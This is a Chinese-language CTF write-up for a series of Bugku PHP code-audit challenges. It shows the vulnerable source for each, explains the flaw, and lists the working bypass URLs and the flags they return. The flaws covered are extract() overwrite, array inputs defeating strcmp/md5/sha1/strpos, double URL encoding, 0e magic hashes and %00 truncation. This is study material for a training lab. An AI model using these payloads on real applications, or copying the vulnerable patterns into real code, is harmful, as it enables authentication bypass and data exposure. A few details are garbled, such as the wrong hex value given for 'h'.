

第一题：extract 变量覆盖

知识简介

extract() 函数语法：

```
extract(array, extract_rules, prefix)
```

参数 描述

array 必需。 规定要使用的数组。

extract_rules 可选。 extract() 函数将检查每个键名是否为合法的变量名，同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。

可能的值：

EXTR_OVERWRITE - 默认。如果有冲突，则覆盖已有的变量。

EXTR_SKIP - 如果有冲突，不覆盖已有的变量。

EXTR_PREFIX_SAME - 如果有冲突，在变量名前加上前缀 prefix。

EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。

EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。

EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时，覆盖它们的值。其它的都不处理。

EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时，建立附加了前缀的变量名，其它的都不处理。

EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。

prefix 可选。 如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS，则 prefix 是必需的。

题目信息

Topic Link: <http://123.206.87.240:9009/1.php>

extract变量覆盖

50

```
http://123.206.87.240:9009/1.php
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyang))
{
$content=trim(file_get_contents($flag));
if($shiyang==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
```

Flag

Submit

```
http://123.206.87.240:9009/1.php
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyang))
{
$content=trim(file_get_contents($flag));
if($shiyang==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
```

利用 extract() 函数的变量覆盖漏洞原理构造 payload

漏洞产生原因：extract() 函数当只有一个参数时，默认的第二参数是：EXTR_OVERWRITE，如果有变量发生冲突，则覆盖已有的变量。

代码审计需要满足两个条件：1. if(isset(\$shiyang)) == 》 TRUE

2. if(\$shiyan==\$content) == 》 TRUE

构造 payload:

```
//利用 extract() 函数变量覆盖漏洞+php 伪协议

http://123.206.87.240:9009/1.php?shiyan=999&flag=data://,999

//利用 file_get_content() 函数返回字符串+php 弱类型 (null == "string" ==》 true)

http://123.206.87.240:9009/1.php?shiyan=
http://123.206.87.240:9009/1.php?shiyan=&flag=
http://123.206.87.240:9009/1.php?shiyan=&content=
```

get flag:

```
flag{bugku-dmsj-p2sm3N}
```

第二题：strcmp 比较字符串

知识简介

strcmp() 函数语法:

```
int strcmp( string $str1, string $str2)
```

注意该比较区分大小写。

参数

str1

第一个字符串。

str2

第二个字符串。

返回值

如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0; 如果两者相等, 返回 0。

题目信息

Topic Link: <http://123.206.87.240:9009/6.php>

strcmp比较字符串

50

<http://123.206.87.240:9009/6.php>

```
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果
    str1大于 str2返回 > 0; 如果两者相等, 返回 0。
    //比较两个字符串 (区分大小写)
    die('Flag: '.$flag);
    else
    print 'No';
}
?>
```

Flag

Submit

```
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1 大于
    str2 返回 > 0; 如果两者相等, 返回 0。
    //比较两个字符串 (区分大小写)
    die('Flag: '.$flag);
    else
    print 'No';
}
?>
```

利用 strcmp() 函数不能处理数组的漏洞构造 payload

代码审计需要满足两个条件: 1. if (isset(\$_GET['a'])) ==》 TRUE

2. if (strcmp(\$_GET['a'], \$flag) == 0) ==》 TRUE

构造 payload:

[http://123.206.87.240:9009/6.php?a\[\]](http://123.206.87.240:9009/6.php?a[])

get flag:

Flag: flag{bugku_dmsj_912k}

第三题：urldecode 二次编码绕过

知识简介

ereg() 函数语法：

ereg - 不区分大小写的正则表达式匹配

```
int ereg( string $pattern, string $string[, array &$regs] )
```

本函数和 `ereg()` 完全相同，只除了在匹配字母字符时忽略大小写的区别。

ereg() 函数

```
int ereg ( string $pattern , string $string [, array &$regs ] )
```

以区分大小写的方式在 `string` 中寻找与给定的正则表达式 `pattern` 所匹配的子串。

如果找到与 `pattern` 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 `regs`，则匹配项将被存入 `regs` 数组中。`$regs[1]` 包含第一个左圆括号开始的子串，`$regs[2]` 包含第二个子串，以此类推。`$regs[0]` 包含整个匹配的字符串。

如果在 `string` 中找到 `pattern` 模式的匹配则返回所匹配字符串的长度，如果没有找到匹配或出错则返回 `FALSE`。如果没有传递入可选参数 `regs` 或者所匹配的字符串长度为 0，则本函数返回 1。

题目信息

Topic Link: <http://123.206.87.240:9009/10.php>

urldecode二次编码绕过

50

<http://123.206.87.240:9009/10.php>

```
<?php
if(ereg("hackerDJ",$_GET[id])){
echo"

not allowed!

";
exit();
}
$_GET[id]=urldecode($_GET[id]);
if($_GET[id]=="hackerDJ")
{
echo "
Access granted!

";
echo "
flag

";
}
?>
```

```
<?php
if(ereg("hackerDJ",$_GET[id])) {
echo"

not allowed!

";
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "
Access granted!

";
echo "
flag
```

```
" ;  
}  
?>
```

利用浏览器默认对提交的数据进行一次 url 解码

代码审计需要满足两个条件：1. id 里面不能包含字符串 “hackerDJ”

2. id 经过 urldecode() 之后等于字符串 “hackerDJ”

构造 payload:

```
//只需对字符串"hackerDJ"一部分二次 url 编码即可  
  
h 对应的十六进制码为 0x108  
  
%108 进行一次 url 编码%2568  
  
http://123.206.87.240:9009/10.php?id=%2568ackerDJ
```

get flag:

```
Access granted!  
  
flag{bugku__daimasj-1t2}
```

第四题：md5() 函数

知识简介

MD5() 函数语法：

```
md5 — 计算字符串的 MD5 散列值  
  
string md5( string $str[, bool $raw_output = false] )  
  
参数  
  
str  
原始字符串。  
  
raw_output
```

如果可选的 `raw_output` 被设置为 `TRUE`, 那么 MD5 报文摘要将以 16 字节长度的原始二进制格式返回。

返回值

以 32 字符十六进制数字形式返回散列值。

题目信息

Topic Link: <http://123.206.87.240:9009/18.php>

md5()函数

50

<http://123.206.87.240:9009/18.php>

```
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>
```

```
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>
```


利用 MD5 函数不能处理数组进行构造 payload

- 代码审计需要满足两个条件：
1. username 和 password 的值不能相同
 2. username 和 password 的 MD5 值相同

构造 payload:

```
http://123.206.87.240:9009/18.php?username[]=999&password[]=666
```

get flag:

```
Flag: flag{bugk1u-ad8-3dsa-2}
```

第五题：数组返回 NULL 绕过

知识简介

ereg() 函数语法：

```
int ereg ( string $pattern , string $string [, array &$regs ] )
```

以区分大小写的方式在 `string` 中寻找与给定的正则表达式 `pattern` 所匹配的子串。

如果找到与 `pattern` 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 `regs`，则匹配项将被存入 `regs` 数组中。`$regs[1]` 包含第一个左圆括号开始的子串，`$regs[2]` 包含第二个子串，以此类推。`$regs[0]` 包含整个匹配的字符串。

如果在 `string` 中找到 `pattern` 模式的匹配则返回所匹配字符串的长度，如果没有找到匹配或出错则返回 `FALSE`。如果没有传递入可选参数 `regs` 或者所匹配的字符串长度为 0，则本函数返回 1。

strpos() 函数语法：

`strpos` — 查找字符串首次出现的位置

```
int strpos( string $haystack, mixed $needle[, int $offset = 0] )
```

返回 `needle` 在 `haystack` 中首次出现的数字位置。

参数

`haystack`

在该字符串中进行查找。

needle

如果 needle 不是一个字符串，那么它将被转换为整型并被视为字符的顺序值。

offset

如果提供了此参数，搜索会从字符串该字符数的起始位置开始统计。如果是负数，搜索会从字符串结尾指定字符数开始。

返回值

返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从 0 开始，而不是从 1 开始的。

如果没找到 needle，将返回 `FALSE`。

题目信息

Topic Link: <http://123.206.87.240:9009/19.php>

数组返回NULL绕过

50

<http://123.206.87.240:9009/19.php>

```
<?php
$flag = "flag";

if (isset($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo 'You password must be alphanumeric';
    else if (strpos($_GET['password'], '-') !== FALSE)
        die('Flag: ' . $flag);
    else
        echo 'Invalid password';
}
?>
```

```
<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '-') !== FALSE)
die('Flag: ' . $flag);
else
```

```
echo 'Invalid password';  
}  
?>
```

利用 `strpos()` 函数不能处理数组的漏洞构造 payload

代码审计需要满足两个条件: 1. `if (ereg ("^[a-zA-Z0-9]+$", $_GET['password'])) == FALSE) == >> FALSE`

2. `if (strpos ($_GET['password'], '--') != FALSE) == >> TRUE`

构造 payload:

```
http://123.206.87.240:9009/19.php?password[]=
```

get flag:

```
Flag: flag{ctf-bugku-ad-2131212}
```

第六题: 弱类型整数大小比较绕过

知识简介

`is_numeric()` 函数语法:

`is_numeric` - 检测变量是否为数字或数字字符串

```
bool is_numeric( mixed $var)
```

如果 `var` 是数字和数字字符串则返回 `TRUE`, 否则返回 `FALSE`。

题目信息

Topic Link: <http://123.206.87.240:9009/22.php>

弱类型整数大小比较绕过

50

<http://123.206.87.240:9009/22.php>

```
$temp = $_GET['password'];  
is_numeric($temp)?die("no numeric"):NULL;  
if($temp>1336){  
echo $flag;
```

```
$temp = $_GET['password'];  
is_numeric($temp)?die("no numeric"):NULL;  
if($temp>1336) {  
echo $flag;
```

利用 php 弱类型漏洞构造 payload

代码审计需要满足两个条件: 1. `is_numeric($temp) ==> FALSE`

2. `if($temp>1336) ==> TRUE`

构造 payload:

```
http://123.206.87.240:9009/22.php?password=99999asd
```

get flag:

```
flag{bugku_null_numeric}
```

第七题: sha() 函数比较绕过

知识简介

sha1() 函数语法:

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

`sha1` — 计算字符串的 `sha1` 散列值

```
string sha1( string $str[, bool $raw_output = false] )
```

参数

`str`

输入字符串。

`raw_output`

如果可选的 `raw_output` 参数被设置为 `TRUE`, 那么 `sha1` 摘要将以 20 字符长度的原始格式返回, 否则返回值是一个 40 字符长度的十六进制数字。

返回值

返回 sha1 散列值字符串。

题目信息

Topic Link: <http://123.206.87.240:9009/7.php>

<http://123.206.87.240:9009/7.php>

```
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
    var_dump($_GET['name']);
    echo "
";
    var_dump($_GET['password']);
    var_dump(sha1($_GET['name']));
    var_dump(sha1($_GET['password']));
    if ($_GET['name'] == $_GET['password'])
        echo '

Your password can not be your name!

';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
        die('Flag: '$flag);
    else
        echo '

Invalid password.

';
}
else
    echo '

Login first!

';
?>
```

```
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
    var_dump($_GET['name']);
    echo "
";
    var_dump($_GET['password']);
    var_dump(sha1($_GET['name']));
    var_dump(sha1($_GET['password']));
    if ($_GET['name'] == $_GET['password'])
```

```

echo '

Your password can not be your name!

';

else if (sha1($_GET['name']) == sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '

Invalid password.

';
}

else
echo '

Login first!

';
?>

```

利用 sha1 函数不能处理数组进行构造 payload

代码审计需要满足三个条件：1. if (isset(\$_GET['name']) and
isset(\$_GET['password'])) ==》 TRUE

2. if (\$_GET['name'] == \$_GET['password']) ==》 FALSE

3. if (sha1(\$_GET['name']) ==
sha1(\$_GET['password'])) ==》 TRUE

构造 payload:

```
http://123.206.87.240:9009/7.php?name[]=999&password[]=99999
```

get flag:

```
Flag: flag{bugku--daimasj-a2}
```

第八题：md5 加密相等绕过

知识简介

MD5() 函数语法：

md5 — 计算字符串的 MD5 散列值

```
string md5( string $str[, bool $raw_output = false] )
```

参数

str

原始字符串。

raw_output

如果可选的 **raw_output** 被设置为 **TRUE**，那么 MD5 报文摘要将以 16 字节长度的原始二进制格式返回。

返回值

以 32 字符十六进制数字形式返回散列值。

题目信息

Topic Link: <http://123.206.87.240:9009/13.php>

md5加密相等绕过

60

<http://123.206.87.240:9009/13.php>

```
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
    if ($a != 'QNKCDZO' && $md51 == $md52){
        echo "flag[*]";
    } else {
        echo "false!!!";
    }
}
else{echo "please input a";}
```

```
?>
```

```
<?php

$md51 = md5('QNKCDZO') ;

$a = @$_GET['a'] ;

$md52 = @md5($a) ;
```

```

if(isset($a)) {
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

```

利用 MD5 函数处理的特殊字符串进行绕过构造 payload

//下面的特殊字符串经过 MD5 函数处理过之后相等

```

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

```

代码审计需要满足两个条件：1. `if(isset($a)) ==》 TRUE`

2. if (\$a != 'QNKCDZO' && \$md51 == \$md52) ==》 TRUE

构造 payload:

```
http://123.206.87.240:9009/13.php?a=s878926199a
```

get flag:

```
flag{bugku-dmsj-am9ls}
```

第九题：十六进制与数字比较

知识简介

ord() 函数语法:

```
int ord( string $string)
```

返回字符串 `string` 第一个字符的 ASCII 码值。

该函数是 `chr()` 的互补函数。

参数

`string`

一个字符。

返回值

返回整型的 ASCII 码值。

题目信息

Topic Link: <http://123.206.87.240:9009/20.php>

<http://123.206.87.240:9009/20.php>

```
<?php
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1'); //ord - 返回字符的 ASCII 码值
    $nine = ord('9'); //ord - 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    {
        // Disallow all the digits!
        $digit = ord($temp[$i]);
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
    return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
```

```
<?php
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1'); //ord - 返回字符的 ASCII 码值
    $nine = ord('9'); //ord - 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    {
        // Disallow all the digits!
        $digit = ord($temp[$i]);
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
    return $flag;
```

```

}

$temp = $_GET['password'];

echo noother_says_correct($temp);

?>

```

利用双等于号"=="可以对不同进制的数比较来构造 payload

代码审计需要满足两个条件：1. if ((\$digit >= \$one) && (\$digit <= \$nine)) ==》
FALSE // password 的值里面不能包含数字 1-9，'3735929054' 转化为十六进制
0xdead0de 碰巧里面的字符都没在 1-9 里面

2. if(\$number == \$temp) ==》 TRUE //十进制和十六进制

之间的比较

构造 payload:

```
http://123.206.87.240:9009/20.php?password=0xdead0de
```

get flag:

```
flag {Bugku-admin-ctfdaimash}
```

第十题：变量覆盖

变量覆盖????? 怎么感觉像是服务器被覆盖了!!!!

第十一题：ereg 正则%00 截断

知识简介

ereg() 函数语法:

```
int ereg ( string $pattern , string $string [, array &$regs ] )
```

以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。

如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs，则匹配项将被存入 regs 数组中。\$regs[1] 包含第一个左圆括号开始的子串，\$regs[2] 包含第二个子串，以此类推。\$regs[0] 包含整个匹配的字符串。

如果在 string 中找到 pattern 模式的匹配则返回所匹配字符串的长度，如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0，则本函数返回 1。

strlen() 函数语法:

```
int strlen( string $string)
```

返回给定的字符串 `string` 的长度。

参数

`string`

需要计算长度的字符串。

返回值

成功则返回字符串 `string` 的长度；如果 `string` 为空，则返回 0。

strpos() 函数语法：

`strpos` - 查找字符串首次出现的位置

```
int strpos( string $haystack, mixed $needle[, int $offset = 0] )
```

返回 `needle` 在 `haystack` 中首次出现的数字位置。

参数

`haystack`

在该字符串中进行查找。

`needle`

如果 `needle` 不是一个字符串，那么它将被转换为整型并被视为字符的顺序值。

`offset`

如果提供了此参数，搜索会从字符串该字符数的起始位置开始统计。如果是负数，搜索会从字符串结尾指定字符数开始。

返回值

返回 `needle` 存在于 `haystack` 字符串起始的位置(独立于 `offset`)。同时注意字符串位置是从 0 开始，而不是从 1 开始的。

如果没找到 needle, 将返回 FALSE。

题目信息

Topic Link: <http://123.206.87.240:9009/5.php>

ereg正则%00截断 100

```
http://123.206.87.240:9009/5.php
<?php
$flag = "xxx";
if (isset($_GET['password']))
{
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
        echo '

        You password must be alphanumeric

        ';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] >
    99999999)
    {
        if (strpos($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次
        出现的位置
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('
            - have not been found

            ');
        }
    }
}
```

```
<?php
$flag = "xxx";

if (isset ($_GET['password']))
{

if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{

echo '

You password must be alphanumeric

';

}

else if (strlen($_GET['password']) < 8 && $_GET['password'] > 99999999)
```

```

{
if (strpos ($_GET['password'], '-') !== FALSE) //strpos - 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('
- have not been found

');
}
}
else
{
echo '
Invalid password

';
}
}
?>

```

题目代码有误(也不知道是怎么回事 mmp)，正确代码应该是：

```

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {

```

```

        echo('<p>*-* have not been found</p>');
    }
}
else
{
    echo '<p>Invalid password</p>';
}

```

利用 `strlen()` 函数和 `strpos()` 函数不能处理数组进行构造 payload

或

利用 `ereg()` 函数的 %00 截断漏洞进行构造 payload

代码审计需要满足三个条件: 1. `if (ereg ("^[a-zA-Z0-9]+$", $_GET['password'])) == FALSE) ==》 FLASE`

2. `if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) //正常感觉矛盾, 但是可以利用科学计数法绕过 1e8 > 9999999`

3. `if (strpos ($_GET['password'], '*-') != FALSE) //password 的值应包含字符串 '*-'`

构造 payload:

```
http://123.206.87.240:9009/5.php?password=1e8%00*-*
```

```
http://123.206.87.240:9009/5.php?password[]=
```

get flag:

```
Flag: flag{bugku-dm-sj-a12JH8}
```

第十二题: strpos 数组绕过

知识简介

`strpos()` 函数语法:

`strpos` — 查找字符串首次出现的位置

```
int strpos( string $haystack, mixed $needle[, int $offset = 0] )
```

返回 needle 在 haystack 中首次出现的数字位置。

参数

haystack

在该字符串中进行查找。

needle

如果 needle 不是一个字符串，那么它将被转换为整型并被视为字符的顺序值。

offset

如果提供了此参数，搜索会从字符串该字符数的起始位置开始统计。如果是负数，搜索会从字符串结尾指定字符数开始。

返回值

返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从 0 开始，而不是从 1 开始的。

如果没找到 needle，将返回 `FALSE`。

题目信息

Topic Link: <http://123.206.87.240:9009/15.php>

strpos数组绕过 150

<http://123.206.87.240:9009/15.php>

```
<?php
$flag = "flag";
if (isset($_GET['ctf'])) {
    if (@ereg("[1-9]+$", $_GET['ctf']) === FALSE)
        echo '必须输入数字才行';
    else if (strpos($_GET['ctf'], '#biubiubiu') !== FALSE)
        die('Flag: '.$flag);
    else
        echo '骚年，继续努力吧啊~';
}
?>
```

```
<?php
$flag = "flag";
```



```

if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年, 继续努力吧啊~';
}
?>

```

利用 `strpos()` 函数不能处理数组进行构造 payload

代码审计需要满足两个条件: 1. `if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)`
`==> FALSE`

2. `if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)`
`==> TRUE`

构造 payload:

```
http://123.206.87.240:9009/15.php?ctf[]=
```

get flag:

```
Flag: flag{Bugku-D-M-S-J572}
```

第十三题：数字验证正则绕过

知识简介

`preg_match()` 函数学习:

```

int preg_match( string $pattern, string $subject[, array &$matches[, int $flags
s = 0[, int $offset = 0]] ] )

```

搜索 subject 与 pattern 给定的正则表达式的一个匹配。

参数

pattern

要搜索的模式，字符串类型。

subject

输入字符串。

matches

如果提供了参数 `matches`，它将被填充为搜索结果。 `$matches[0]` 将包含完整模式匹配到的文本，`$matches[1]` 将包含第一个捕获子组匹配到的文本，以此类推。

flags

flags 可以被设置为以下标记值：

`PREG_OFFSET_CAPTURE`

如果传递了这个标记，对于每一个出现的匹配返回时会附加字符串偏移量（相对于目标字符串的）。注意：这会改变填充到 `matches` 参数的数组，使其每个元素成为一个由第 0 个元素是匹配到的字符串，第 1 个元素是该匹配字符串在目标字符串 `subject` 中的偏移量。

offset

通常，搜索从目标字符串的开始位置开始。可选参数 `offset` 用于指定从目标字符串的某个位置开始搜索（单位是字节）。

返回值

`preg_match()` 返回 `pattern` 的匹配次数。它的值将是 0 次（不匹配）或 1 次，因为 `preg_match()` 在第一次匹配后将会停止搜索。`preg_match_all()` 不同于此，它会一直搜索 `subject` 直到到达结尾。如果发生错误 `preg_match()` 返回 `FALSE`。

题目信息

Topic Link: <http://123.206.87.240:9009/21.php>

数字验证正则绕过

150

<http://123.206.87.240:9009/21.php>

```
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
    $password = $_POST['password'];
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match - 执行一个正则表达式匹配
    {
        echo 'flag';
        exit;
    }
    while (TRUE)
    {
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
        if (6 > preg_match_all($reg, $password, $arr))
            break;
        $c = 0;
        $ps = array('punct', 'digit', 'upper', 'lower'); //[:punct:] 任何标点符号
        //[:digit:] 任何数字 [:upper:] 任何大写字母 [:lower:] 任何小写字母
        foreach ($ps as $pt)
        {
```

```
<?php
error_reporting(0);
```

```

$flag = 'flag{test}';

if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[[:graph:]]{12,}$/', $password)) //preg_match - 执行一个正则表达式匹配
{
echo 'flag';
exit;
}

while (TRUE)
{
$reg = '/([[:punct:]]+|[[[:digit:]]+|[[[:upper:]]+|[[[:lower:]]+])/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;

$ps = array('punct', 'digit', 'upper', 'lower'); //[[[:punct:]] 任何标点符号 [[[:digit:]] 任何数字 [[[:upper:]] 任何大写字母 [[[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[[:$pt:]]+/", $password))
$c += 1;
}

if ($c < 3) break;
//>=3, 必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>

```

利用 preg_match() 函数不能处理数组进行构造 payload

代码审计需要满足一个条件: 1. if (0 >= preg_match('/^[[[:graph:]]{12,}\$/', \$password)) ==》 TRUE

构造 payload:

```
http://123.206.87.240:9009/21.php
```

```
post: password[]=
```

get flag:

```
flag{Bugku_preg_match}
```

第十四题：简单的 waf

和第十题(变量覆盖)一样，题目打不开！！！！ *-*